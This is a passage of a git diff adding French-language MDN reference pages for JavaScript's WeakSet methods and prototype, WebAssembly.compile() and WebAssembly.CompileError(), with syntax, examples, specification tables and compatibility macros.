+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html
new file mode 100644
index 0000000000..d965e5b8ac
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html
@@ -0,0 +1,84 @@
+---
+title: WeakSet.prototype.add()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/add
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/add
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>add()</strong></code> permet d'ajouter un nouvel objet à un objet <code>WeakSet</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakset-prototype-add.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>ws</var>.add(<var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite ajouter à l'ensemble<code> WeakSet</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet {{jsxref("WeakSet")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var ws = new WeakSet();
+
+ws.add(window); // on ajouter l'objet window à l'objet WeakSet
+
+ws.has(window); // tru
+
+// WeakSet ne peut contenir que des objets
+ws.add(1);
+// TypeError: Invalid value used in weak set -&gt; Chrome
+// TypeError: 1 is not a non-null obect -&gt; Firefox
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet.add")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.delete()")}}</li>
+ <li>{{jsxref("WeakSet.prototype.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html
new file mode 100644
index 0000000000..b1a480bef3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html
@@ -0,0 +1,48 @@
+---
+title: WeakSet.prototype.clear()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/clear
+tags:
+  - JavaScript
+  - Méthode
+  - Obsolete
+  - Prototype
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/clear
+---
+<div>{{JSRef}}{{obsolete_header}}</div>
+
+<p>La méthode <code><strong>clear()</strong></code> permettait de retirer tous les éléments d'un objet <code>WeakSet</code> mais celle-ci ne fait plus partie d'ECMAScript.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>ws</var>.clear();</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js example-bad">var ws = new WeakSet();
+
+ws.add(window);
+ws.has(window);  // true
+
+ws.clear();
+
+ws.has(window); // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode faisait partie du brouillon pour ECMAScript 6 jusqu'à la révision 28 (version en date du 14 octobre 2014) mais a été retirée par la suite. Elle ne fera pas partie du standard final.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.delete()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html
new file mode 100644
index 0000000000..e3cc7e72ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html
@@ -0,0 +1,82 @@
+---
+title: WeakSet.prototype.delete()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/delete
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>delete()</strong></code> permet de retirer un élément donné d'un objet <code>WeakSet</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakset-prototype-delete.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>ws</var>.delete(<var>valeur</var>);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite retirer de l'ensemble <code>WeakSet</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si un élément de l'objet <code>WeakSet</code> a bien été retiré, <code>false</code> sinon (dans le cas où la clé n'a pas été trouvée ou si la clé n'est pas un objet).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+
+ws.add(window);
+
+ws.delete(obj);    // Renvoie false. Aucun objet obj n'a été trouvé ni retiré.
+ws.delete(window); // Renvoie true, l'objet window a pu être retiré.
+
+ws.has(window);    // Renvoie false, window n'appartient plus au WeakSet.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.clear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html
new file mode 100644
index 0000000000..c4cd1f5eae
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html
@@ -0,0 +1,83 @@
+---
+title: WeakSet.prototype.has()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>has()</strong></code> renvoie un booléen indiquant si un objet donné est contenu dans l'ensemble<code> WeakSet</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakset-prototype-has.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>ws</var>.has(<var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. Il représente l'objet dont on souhaite savoir s'il est, ou non, présent dans l'objet <code>WeakSet</code>.</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<dl>
+ <dt>Booléen</dt>
+ <dd>La méthode renvoie <code>true</code> si l'objet <code>WeakSet </code>contient bien un élément avec la valeur donnée, <code>false </code>sinon.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+ws.add(window);
+
+mySet.has(window);  // renvoie true
+mySet.has(obj);     // renvoie false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.add()")}}</li>
+ <li>{{jsxref("WeakSet.prototype.delete()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/index.html
new file mode 100644
index 0000000000..fd72c59ba4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/index.html
@@ -0,0 +1,146 @@
+---
+title: WeakSet
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>WeakSet</code></strong> permet de créer un ensemble dont les objets sont contenus avec des références <em>faibles</em>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new WeakSet([<var>itérable</var>]);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>itérable</code></dt>
+ <dd>Si un <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB">objet itérable</a> est présent comme argument, ses éléments seront ajoutés au nouvel objet <code>WeakSet</code>. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var ws = new WeakSet();
+var toto = {};
+var truc = {};
+
+ws.add(toto);
+ws.add(truc);
+
+ws.has(toto);  // true
+ws.has(truc);  // true
+
+ws.delete(toto); // retire toto de l'ensemble
+ws.has(toto);    // false, toto a été enlevé
+</pre>
+
+<p>On notera que <code>toto !== truc</code>. Bien que ce soient des objets similaires, ce ne sont pas les mêmes objets. Aussi, les deux sont ajoutés à l'ensemble.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les <code>WeakSet</code> sont des ensembles d'objets. Un objet présent dans un objet <code>WeakSet</code> ne peut apparaître qu'une seule fois, il est unique pour un <code>WeakSet</code> donné.</p>
+
+<p>Les principales différences avec l'objet {{jsxref("Set")}} sont les suivantes :</p>
+
+<ul>
+ <li>Contrairement aux <code>Sets</code>, les <code>WeakSets</code> sont des <strong>ensembles uniquement constitués d'objets </strong>et ne peuvent pas contenir des valeurs de n'importe quel type.</li>
+ <li>L'objet <code>WeakSet</code> est <em>faible :</em> Les références vers les objets de l'ensemble sont des références faibles. Si aucune autre référence vers l'objet n'est présente en dehors du <code>WeakSet</code>, l'objet pourra alors être nettoyé par le ramasse-miette. Cela signifie également qu'on ne peut pas lister les objets contenus à un instant donné dans l'ensemble. Les objets <code>WeakSets</code> ne sont pas énumérables.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>WeakSet.length</code></dt>
+ <dd>La valeur de la propriété <code>length</code> est 0.</dd>
+ <dt>{{jsxref("WeakSet.prototype")}}</dt>
+ <dd>Cette propriété représente le prototype pour le constructeur <code>WeakSet</code>. Il permet d'ajouter des propriétés pour tous les objets <code>WeakSet</code>.</dd>
+</dl>
+
+<h2 id="Instances_de_WeakSet">Instances de <code>WeakSet</code></h2>
+
+<p>Toutes les instances de <code>WeakSet</code> héritent de {{jsxref("WeakSet.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','Propri.C3.A9t.C3.A9s')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','M.C3.A9thodes')}}</p>
+
+<h2 id="Exemples_2">Exemples</h2>
+
+<h3 id="Détecter_les_références_circulaires">Détecter les références circulaires</h3>
+
+<p>Les fonctions récursives doivent faire attention aux structures de données circulaire qu'elles consommeraient. Les objets <code>WeakSets</code> peuvent être utilisé pour ça :</p>
+
+<pre class="brush: js">// Appeler un callback sur ce qui est stocké dans un objet
+function execRecursively(fn, subject, _refs = null){
+  if(!_refs)
+    _refs = new WeakSet();
+
+  // On évite une récursion infinie
+  if(_refs.has(subject))
+    return;
+
+  fn(subject);
+  if("object" === typeof subject){
+    _refs.add(subject);
+    for(let key in subject)
+      execRecursively(fn, subject[key], _refs);
+  }
+}
+
+const toto = {
+  toto: "Toto",
+  truc: {
+    truc: "Truc"
+  }
+};
+
+toto.truc.machin = toto; // Référence circulaire !
+execRecursively(obj =&gt; console.log(obj), toto);
+</pre>
+
+<p>Ici, on a un objet <code>WeakSet</code> qui est créé lors de la première exécution et qui est passé ensuite à chaque appel qui suit (via l'argument interne <code>_refs</code>). Le nombre d'objets ou l'ordre de parcours n'a pas d'importance et un objet <code>WeakSet</code> est donc plus adapté (y compris en termes de performances) qu'un {{jsxref("Set")}}, notamment si un grand nombre d'objets sont concernés.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html
new file mode 100644
index 0000000000..21081bc0ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html
@@ -0,0 +1,79 @@
+---
+title: WeakSet.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>WeakSet</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WeakSet")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WeakSet")}} héritent de {{jsxref("WeakSet.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des méthodes et/ou des propriétés à toutes les instances de <code>WeakSet</code>.</p>
+
+<p>WeakSet.prototype est un objet ordinaire :</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>WeakSet.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction native {{jsxref("WeakSet")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("WeakSet.add", "WeakSet.prototype.add(valeur)")}}</dt>
+ <dd>Cette méthode permet d'ajouter une nouvel objet avec une valeur donnée à l'objet <code>WeakSet</code>.</dd>
+ <dt>{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(valeur)")}}</dt>
+ <dd>Cette méthode retire l'élément associé à <code>valeur</code>. <code>WeakSet.prototype.has(valeur)</code> renverra <code>false</code> une fois l'opération effectuée.</dd>
+ <dt>{{jsxref("WeakSet.has", "WeakSet.prototype.has(valeur)")}}</dt>
+ <dd>Cette méthode renvoie un booléen indiquant si oui ou non un élément est présent avec cette valeur au sein de l'objet <code>WeakSet</code>.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakSet.prototype.clear()")}}{{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Cette méthode retire tous les éléments de l'ensemble <code>WeakSet</code>.</s></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakSet.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+ <li>{{jsxref("WeakMap.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html
new file mode 100644
index 0000000000..9922106222
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html
@@ -0,0 +1,89 @@
+---
+title: WebAssembly.compile()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compile
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>WebAssembly.compile()</code></strong>, permet de compiler un module ({{jsxref("WebAssembly.Module")}} à partir d'un code binaire WebAssembly. Cette fonction est utile lorsqu'il est nécessaire de compiler un module avant de l'instancier (dans les autres cas, la méthode {{jsxref("WebAssembly.instantiate()")}} sera plus pertinente).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compile(bufferSource);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>bufferSource</code></dt>
+ <dd>Un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray">tableau typé</a> ou un {{jsxref("ArrayBuffer")}} contenant le <em>bytecode</em> du module WebAssembly qu'on souhaite compiler.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) dont la valeur de résolution est une instance de {{jsxref("WebAssembly.Module")}} qui représente le module compilé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si <code>bufferSource</code> n'est pas un tableau typé, une exception {{jsxref("TypeError")}} sera levée.</li>
+ <li>Si la compilation échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on compile le <em>bytecode</em> <code>simple.wasm</code> grâce à la méthode <code>compile()</code> puis on envoie le contenu à <a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Workers_API">un <em>worker</em></a> grâce à la méthode <code><a href="/fr/docs/Web/API/Worker/postMessage">postMessage()</a></code>.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.compile(bytes)
+).then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Dans la plupart des cas, mieux vaudra utiliser {{jsxref("WebAssembly.compileStreaming()")}} qui est plus efficace que <code>compile()</code>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html
new file mode 100644
index 0000000000..69afe21895
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html
@@ -0,0 +1,120 @@
+---
+title: WebAssembly.CompileError()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/CompileError
+tags:
+  - API
+  - CompileError
+  - Constructeur
+  - Error
+  - JavaScript
+  - NativeError
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>WebAssembly.CompileError()</strong></code> permet de créer une nouvelle instance de <code>CompileError</code> qui indique qu'une erreur s'est produite lors du décodage du code WebAssembly ou lors de sa validation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new WebAssembly.CompileError(<var>message</var>, <var>nomFichier</var>, <var>numeroLigne</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>Une description, compréhensible par un humain, de l'erreur qui s'est produite.</dd>
+ <dt><code>nomFichier</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le nom du fichier contenant le code à l'origine de l'exception.</dd>
+ <dt><code>numeroLigne</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le numéro de la ligne du fichier à l'origine de l'exception.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Le constructeur <code>CompileError</code> ne possède aucune propriété propre. En revanche, il hérite de certaines propriétés via sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.CompileError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui crée le prototype d'une instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}}</dt>
+ <dd>Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que  l'instance devrait fournir sa propre propriété <code>message</code>, pour <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}}</dt>
+ <dd>Le chemin vers le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.CompileError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.CompileError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.CompileError.prototype.stack")}}</dt>
+ <dd>La pile d'appel. Cette propriété est héritée via {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Le constructeur <code>CompileError</code> ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.CompileError.prototype.toSource()")}}</dt>
